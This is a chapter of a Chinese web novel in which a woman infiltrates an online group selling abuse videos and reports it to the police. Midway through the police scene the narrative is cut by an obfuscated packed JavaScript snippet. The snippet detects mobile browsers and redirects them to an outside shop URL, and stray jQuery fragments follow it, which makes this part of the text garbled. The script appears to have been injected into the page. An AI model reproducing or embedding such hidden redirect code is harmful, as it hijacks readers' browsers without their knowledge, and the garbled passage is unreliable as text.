“故渊，”林瑗点开周论手机里AObsv732的用户头像，把屏幕转向它，“你知道这个人是谁吗？”


    虽然想立刻、马上冲去警局，但她手上掌握的线索太少。这条灰产线里，除了源头制造人周论，找他进货的中间商732，“群里的客户”在哪里、有多少人，她一概不知。


    “不知道。”故渊回答。


    “是你不知道，”林瑗追问，“还是周论也不知道？”


    她没想到，这种过去只在社会新闻里匆忙一瞥的事，竟真的出现在自己身边这么近的地方。她恨自己有眼无珠，但自省之前，她不能让那些人逍遥快活。不然她怎么对得起烫烫？！


    故渊想了想，说：“那些画面……很快，很模糊。”


    “我无法全部记清楚。”它说长句很不容易，这已经是它近来的极限水平，“但是，他应该不知道。他们是……”


    故渊想了半天才想清楚那个定义词：“网友。”


    林瑗沉默。如果单纯是网友，732怎么会知道他们去了澄江？难道除了手机，对方还有别的非法手段监控周论的行踪？这就触及到她的认识盲区了，毕竟普通人很难了解全犯罪分子的花样手段。


    假设周论是单方面被监视，那么之前那两条消息就有很严重的威胁意味，只是她现在才意识到。


    他们在明，对方在暗。没准她前脚报警，后脚就会被打击报复。


    可那又怎么样？她是一个普通人，她当然惧怕黑恶势力，但如果这一生还有什么需要她拿出勇气的地方，那就是现在。


    她要找出这个人。还有他们“销赃”的群，一并提交给警方。


    只是，这样做的话，恐怕故渊……


    她眉头越皱越紧，手指无意识地绞着衣角。她有可能让警察相信换魂这件事吗？答案昭然若揭——她要是一进警局敢这么说，警方恐怕都不会立案。


    “没关系。”故渊定定看着她，像是看穿了她的想法。


    “就当是，取代他的代价。”它说得很慢，但每个字都清楚，“我愿意。”


    林瑗抿了抿唇，眼眶有点热，“即使你要为他的罪行负责，你也愿意吗？”


    其实还有一种办法。她以普通群众的身份举报，就说是在网上无意间发现了犯罪团伙。周论和732只在telegram交流，用比特币交易，732手里未必有实证。也就是说，即使TA被抓后供出周论，只要故渊矢口否认，也证明不了什么——只要自己不交出这块硬盘。


    当然这只是她的侥幸猜想。她不知道732手里还有什么牌，但这已经是当前最好的办法。


    故渊反问：“这是正确的事吗？”


    林瑗没想到它会问这个。


    “是的。”她说，“这是正确的事。会让这个世界变得更好。”


    故渊偏头对着她笑：“那就好。”


    林瑗突然很想抱住它，她也的确这么做了。


    “谢谢你。”在它看不见的视角，她紧紧闭上眼睛。故渊僵了一下，然后笨拙地抬起手，在她背上拍了拍。


    “没关系。”


    *


    真实的周论显然与他伪装的绅士形象大相径庭，这样的一个凶戾、残忍、自大的控制狂，突然收到732的威胁和挑衅，暴怒之余，应该会警觉，试探，企图重新掌控主动权。


    林瑗试着揣摩他的心态，用周论的账号向732发出一条信息：「你什么意思？」


    大概是时间太早，这次对面过了近一小时才回复：


    「哟，你总算回我消息了，我还以为你死了呢。」


    “……”


    林瑗的心脏不由得漏跳一拍。对面恐怕做梦也不会想到，曾在无意间差一点接近真相。


    「我只要货，没别的意思。」732跟着发来一条不痛不痒的消息。


    林瑗深吸一口气，继续打字：「那你先把群号发我。」


    对面沉默数秒。


    「为什么？你不是从不进群的吗？」


    林瑗用732的话反讽回去：「找灵感。」


    「靠，你现在找灵感也太他妈晚了吧！」732显得很暴躁，「这不合规矩，交易得由我经手。」


    「还想要货吗？」林瑗抛下诱饵，打出最关键的一句：「让我进群，立刻发你。」


    732半晌没有回话。


    林瑗盯着对话框，手心沁出薄汗。她一直开着录屏，小红点机械地在屏幕右下角一闪一闪。


    终于，732回复了：


    「你最好说话算话，不然」


    屏幕上跳出一个死亡骷髅头的表情包，接着是一串数字。732没头没尾地发来几个字：「答案是猎手。」


    林瑗立刻在telegram搜索群组号，系统提示未找到。不对，她想了想，把群号复制进手机□□的搜索栏。


    搜索结果是一个名叫“森林观察者”的数百人大群，群头像是一片暗色的树林，看不出什么异常。简介里只有四个字：「欢迎同好。」


    林瑗不确定这是不是她要找的目标，姑且先点了申请加入。下一刻，□□弹出加群验证问题：「我们是谁？」


    林瑗输入：「猎手。」


    屏幕跳出系统提示：你已加入群聊“森林观察者”。


    她进入了！林瑗一下子站起来，紧张地握紧手机——没想到这么顺利！


    时间才刚到早上八点，群里并没有人聊天，只有群公告显示：「库存清单见群文件，私群主购买密码，可打包。」


    林瑗点开群文件。里面大都是zip压缩包，另有几张命名为库存清单1234的图片，她挨个点开看了一遍……


    如果不是为了录屏取证，她不会这样折磨自己。


    那些影片介绍和缩略图，光看一眼都让人精神受到污染。林瑗胃里一阵翻涌，她真的不明白，这些人为何会恶心卑劣到这种地步。


    群主的个人资料上明晃晃写着：「接定制，私聊议价。可指定品种，指定玩法，私密发货，安全可靠。」


    林瑗把所有的这些录像、图片，ID信息全部保存进U盘，又发了一条「正在上传」的信息稳住732，以最快的速度开车赶往最近的派出所。


    急匆匆出门前，故渊给她倒了一杯凉白开。


    “路上小心。”它说，非常地平静。


    它最近学会说这个了，林瑗出门前它总会说，而橙子也醒来了，正在阳光下伸懒腰。


    林瑗一口气喝下大半杯，温水浸润了喉咙，她才后知后觉自己渴了太久。


    “谢谢。”她把杯子还给它，“等我回来。”


    *


    接待她的是一个年轻的民警，姓吴。听她说完来意后，神情立刻严肃起来。他把林瑗带到单独的房间，倒了杯水，让她从头说。


    林瑗按事先打好的腹稿详述了情况，把U盘交给吴警官。里面存着群号、验证问题、telegram账号，还有她录下的所有证据。


    “你做得很好。”吴警官在电脑上初步看过资料，对林瑗说：“我会立刻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357401|198863||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把材料报给网安部门，让他们尽快处理。”


    他让林瑗填了一份报案材料，同时出具了报警回执。


    “这个你收好。后续有需要我们会联系你。如果你所报的情况有新进展或者补充，也请随时与我们联系。”


    林瑗接过那张薄薄的，却沉甸甸的纸，看着上面红色的公章，终是缓缓把那团堵在胸口的浊气吐了出来。


    接下来，就等警方的消息了。


    她刚走出警察局，就接到家里打来的电话。


    “瑗瑗，你现在忙不忙？”王婉丽问。


    林瑗看了眼时间，“还行，怎么了妈？”


    “你能不能去一趟省妇幼帮你嫂子排个队？”王婉丽的声音带着点着急。“你嫂子今天得去医院做产检大排畸，你哥临时有事去税务局了，等到他办完事再去排队高低得挨到下午，你嫂子想早点去，妈就问问你方便不？”


    “行。”林瑗上车点开导航，省妇幼长期人满为患，不提前派一个家属去等的话要耽误很久，她以前也帮忙排过队，算是轻车熟路。


    “那你让嫂子把电子就诊码发我，我先去取号。你们晚点再慢慢过来。”


    她随后点开家里的监控软件，画面里，故渊正坐在学习桌前，橙子窝在它脚边忙碌地咬拖鞋。


    “故渊。”她点开麦克风喊了一声。一人一猫齐刷刷望向摄像头，动作如出一辙。


    林瑗抱歉道，“我得晚点回来，厨房有面包，饿了就自己先垫一下。”


    故渊伸出手，比了一个OK的手势。


    省妇幼的门口堵成一条长龙，林瑗光停车找车位就转了半天，等匆忙到门诊大楼签到取号，前面已经排了一百多个。


    产科诊室门口乌泱泱一片人。林瑗拍照把序号单发给苏莹莹：「号取了，前面人挺多的，你们慢点出门，不用慌。」


    两个多小时过去，前面差不多剩四五个人的时候，苏莹莹和王婉丽到了。送她们来的林文斌没跟在后面，大概是还在找地方停车。


    “妈，这儿。”林瑗站起来，把号递给苏莹莹，“快去吧，马上就到了。”


    话音刚落，大屏幕就响起：“请苏莹莹到3号检查室就诊。”


    苏莹莹冲林瑗笑了笑：“谢谢啊，今天多亏你了。”


    “没事，快进去吧。”


    王婉丽陪着苏莹莹往诊室走，林文斌姗姗来迟，林瑗和他一起等在外面，问道：“爸，林珩一大早去税务局办什么事这么着急？”


    林文斌找了个空位坐下来，说：“清税。你哥那发小不是退伙了吗，他想赶着下礼拜去工商申办个转企，这不就得先把原来的税款结清。”


    “个转企?”林瑗疑惑道，“他店面又不大,员工也没超过8个人，干嘛好端端的要开公司？”


    “找钱啊。”林文斌早年自己办厂几十年，虽然规模不大，但对这些门道都很熟悉。


    “他现在没有合伙人，资金紧张，以后想要周转、扩张经营，都得找银行贷款。企业贷款有政策扶持，利率低，再说往后拉人入股也方便。”


    林瑗想想也是，一看时间不早了，也没再多问，“爸，没什么事我先走了啊，中午还约了人。”


    “好好，”林文斌点点头，随口问：“是小周吗?快去吧，别耽误你们约会。”


    “……”


    林瑗张了张嘴，一时像吞了苍蝇般难受。她不想再跟周论这种人沾一点边，但她的确又是跟故渊在一起。


    他和它顶着一张脸，谁会信这是两个人?